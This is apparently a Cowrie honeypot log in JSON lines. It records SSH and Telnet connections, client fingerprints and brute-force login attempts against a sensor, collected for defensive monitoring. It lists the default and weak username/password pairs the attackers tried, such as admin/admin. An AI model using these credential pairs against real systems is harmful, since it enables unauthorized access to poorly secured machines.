{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:51:00.709892Z","src_ip":"160.251.101.169","session":"07ad66130330","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev@1234","message":"login attempt [dev/dev@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:51:01.367439Z","src_ip":"160.251.101.169","session":"07ad66130330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:51:02.534851Z","src_ip":"160.251.101.169","session":"07ad66130330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":47044,"dst_ip":"159.203.135.109","dst_port":23,"session":"06f3466ed1c6","protocol":"telnet","message":"New connection: 167.99.38.72:47044 (159.203.135.109:23) [session: 06f3466ed1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:51:14.363086Z"}
{"eventid":"cowrie.session.closed","duration":36.04366612434387,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:51:25.895787Z","src_ip":"167.99.38.72","session":"37d347b7d2ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.25022220611572,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:51:50.613173Z","src_ip":"167.99.38.72","session":"06f3466ed1c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":42112,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd27612db2f4","protocol":"ssh","message":"New connection: 160.251.101.169:42112 (10.17.0.5:22) [session: dd27612db2f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:51:53.604909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:51:53.609088Z","src_ip":"160.251.101.169","session":"dd27612db2f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:51:53.772129Z","src_ip":"160.251.101.169","session":"dd27612db2f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"demo12345","message":"login attempt [ubuntu/demo12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:51:54.434375Z","src_ip":"160.251.101.169","session":"dd27612db2f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:51:55.597149Z","src_ip":"160.251.101.169","session":"dd27612db2f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":33552,"dst_ip":"10.17.0.5","dst_port":22,"session":"8712c4c27129","protocol":"ssh","message":"New connection: 190.108.60.101:33552 (10.17.0.5:22) [session: 8712c4c27129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:51:58.624513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:51:58.629501Z","src_ip":"190.108.60.101","session":"8712c4c27129","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:51:58.829669Z","src_ip":"190.108.60.101","session":"8712c4c27129","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin4","password":"admin4","message":"login attempt [admin4/admin4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:51:59.655154Z","src_ip":"190.108.60.101","session":"8712c4c27129","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:00.857692Z","src_ip":"190.108.60.101","session":"8712c4c27129","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":53752,"dst_ip":"159.203.135.109","dst_port":23,"session":"4afdee0f5d77","protocol":"telnet","message":"New connection: 167.99.38.72:53752 (159.203.135.109:23) [session: 4afdee0f5d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:06.823614Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":60182,"dst_ip":"159.203.135.109","dst_port":23,"session":"74eb1d2dfc6b","protocol":"telnet","message":"New connection: 167.99.38.72:60182 (159.203.135.109:23) [session: 74eb1d2dfc6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:18.969959Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.48.46","src_port":52990,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd5f1f21cb40","protocol":"ssh","message":"New connection: 107.155.48.46:52990 (159.203.135.109:22) [session: fd5f1f21cb40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:28.090589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:28.300623Z","src_ip":"107.155.48.46","session":"fd5f1f21cb40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:28.572895Z","src_ip":"107.155.48.46","session":"fd5f1f21cb40","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:29.687531Z","src_ip":"107.155.48.46","session":"fd5f1f21cb40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:29.705500Z","src_ip":"107.155.48.46","session":"fd5f1f21cb40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":36234,"dst_ip":"159.203.135.109","dst_port":22,"session":"6753358267b1","protocol":"ssh","message":"New connection: 130.12.180.51:36234 (159.203.135.109:22) [session: 6753358267b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:30.499834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:30.504759Z","src_ip":"130.12.180.51","session":"6753358267b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:30.587226Z","src_ip":"130.12.180.51","session":"6753358267b1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:30.833429Z","src_ip":"130.12.180.51","session":"6753358267b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:31.373703Z","src_ip":"130.12.180.51","session":"6753358267b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":57872,"dst_ip":"10.17.0.5","dst_port":23,"session":"09642e0afab1","protocol":"telnet","message":"New connection: 173.249.63.118:57872 (10.17.0.5:23) [session: 09642e0afab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:36.154097Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":58894,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2e32916c6af","protocol":"telnet","message":"New connection: 173.249.63.118:58894 (10.17.0.5:23) [session: b2e32916c6af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:37.145416Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":43532,"dst_ip":"159.203.135.109","dst_port":23,"session":"a14e3c3868b9","protocol":"telnet","message":"New connection: 167.99.38.72:43532 (159.203.135.109:23) [session: a14e3c3868b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:42.115631Z"}
{"eventid":"cowrie.session.closed","duration":36.39582800865173,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:43.219343Z","src_ip":"167.99.38.72","session":"4afdee0f5d77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":44686,"dst_ip":"159.203.135.109","dst_port":23,"session":"5787fbb0f0a6","protocol":"telnet","message":"New connection: 167.99.38.72:44686 (159.203.135.109:23) [session: 5787fbb0f0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:44.803836Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":39002,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ce7eff63e84","protocol":"ssh","message":"New connection: 160.251.101.169:39002 (10.17.0.5:22) [session: 7ce7eff63e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:50.072981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:50.076065Z","src_ip":"160.251.101.169","session":"7ce7eff63e84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:50.234045Z","src_ip":"160.251.101.169","session":"7ce7eff63e84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"12345678","message":"login attempt [testftp/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:50.911926Z","src_ip":"160.251.101.169","session":"7ce7eff63e84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:52.078520Z","src_ip":"160.251.101.169","session":"7ce7eff63e84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.49732422828674,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:53.467160Z","src_ip":"167.99.38.72","session":"74eb1d2dfc6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":50498,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d0ab0a2e41a","protocol":"telnet","message":"New connection: 173.249.63.118:50498 (10.17.0.5:23) [session: 2d0ab0a2e41a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:53.949242Z"}
{"eventid":"cowrie.session.closed","duration":0.0048143863677978516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:52:53.953922Z","src_ip":"173.249.63.118","session":"2d0ab0a2e41a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":51492,"dst_ip":"10.17.0.5","dst_port":22,"session":"59f2335f6c54","protocol":"ssh","message":"New connection: 190.108.60.101:51492 (10.17.0.5:22) [session: 59f2335f6c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:05.239870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:05.245280Z","src_ip":"190.108.60.101","session":"59f2335f6c54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:05.444565Z","src_ip":"190.108.60.101","session":"59f2335f6c54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1qaz2wsx3edc4rfv","message":"login attempt [git/1qaz2wsx3edc4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:06.270405Z","src_ip":"190.108.60.101","session":"59f2335f6c54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.005624771118164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:07.159591Z","src_ip":"173.249.63.118","session":"09642e0afab1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:07.469565Z","src_ip":"190.108.60.101","session":"59f2335f6c54","protocol":"ssh"}
